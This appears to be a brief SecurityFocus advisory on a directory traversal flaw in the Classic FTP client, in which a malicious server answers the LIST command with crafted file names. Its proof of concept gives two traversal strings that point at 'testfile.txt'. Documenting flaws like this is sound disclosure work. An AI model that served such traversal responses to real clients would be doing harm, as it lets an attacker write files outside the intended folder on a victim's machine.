Classic FTP 'LIST' Command Directory Traversal Vulnerability

An attacker can exploit this issue by enticing an unsuspecting victim to connect to a malicious server.

The following proof of concept is available:

Response to LIST:

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n
/../../../../../../../../../testfile.txt\r\n


 

Privacy Statement
Copyright 2010, SecurityFocus